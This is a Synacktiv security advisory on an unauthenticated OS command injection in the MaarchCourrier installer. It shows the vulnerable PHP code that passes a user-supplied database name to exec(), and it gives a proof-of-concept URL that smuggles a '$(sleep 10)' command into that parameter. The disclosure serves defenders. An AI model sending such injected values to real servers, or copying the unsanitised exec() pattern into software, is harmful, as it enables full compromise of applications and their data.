SYNACKTIV
DIGITAL SECURITY

MaarchCourrier 19.04, 18.10, 18.04, 17.06 OS Command injection

Security advisory

2020-01-17

Tawfik Bakache
Thomas Etrillard

Vulnerability description

Presentation of *Maarch Courrier*

“Maarch Courrier is a complete free and open source solution for electronic mail management”.

https://maarch.com/maarch-courrier/

The issue

Synacktiv discovered that *Maarch Courrier* does not sanitize the database name when using it throughout the installation process. An unauthenticated user can interact with a script inside the */install* folder to trigger an OS command injection vulnerability, to fully compromise the application and all its data.

Affected versions

Versions 19.04, 18.10, 18.04 and 17.06 are affected.

Timeline

Date	Action
2020-01-07	Advisory sent to *Maarch* support
2020-01-08	Vulnerability fixed
2020-01-15	Public disclosure from the vendor https://community.maarch.org/t/maarch-courrier-note-de-mise-a-jour-de-securite-majeure-securisation-de-linstalleur-integre/1383
2020-01-17	Publication of this advisory

Technical description and proof-of-concept

Description

Inside the *install/class/Class_Install.php,* the *createCustom()* function is called with a user-controlled entity by the user *$databasename*, used later to create a symbolic link using the *exec()* function:

```
# FILE install/class/Class_Install.php
 300     public function createCustom($databasename)
 301     {
 302         $customAlreadyExist = realpath('.').'/custom/cs_'.$databasename;
 303         if (file_exists($customAlreadyExist)) {
 304             //return false;
 [...]
 411             //Création du lien symbolique sous linux
 412             if (strtoupper(substr(PHP_OS, 0, 3)) === 'LIN') {
 413                 $cmd = 'ln -s '.realpath('.')."/ cs_$databasename";
 414                 exec($cmd);
 415             }/*elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){
 [...]
 553             //Création du lien symbolique sous linux
 554             if (strtoupper(substr(PHP_OS, 0, 3)) === 'LIN') {
 555                 $cmd = 'ln -s '.realpath('.')."/ cs_$databasename";
 556                 exec($cmd);
 557             }
```

The following prerequisites must be met (at least on the 19.04.10 version) to trigger the vulnerability:

- the */install* folder must be accessible;
- the parent folder must be writable;
- a database should be available.

Those requirements are already met when the application is already installed and when the following procedure has not been followed:

https://docs.maarch.org/gitbook/html/MaarchCourrier/19.04/guat/guat_exploitation/protect_install.html

Exploitation

The following link will trigger the *sleep 10* command on the remote server:

*http://host/maarchcourrier_root/install/ajax.php?script=database&databasename=**$(sleep%2010)**&action=createdatabase&ajax=true&div=ajaxReturn_createDB*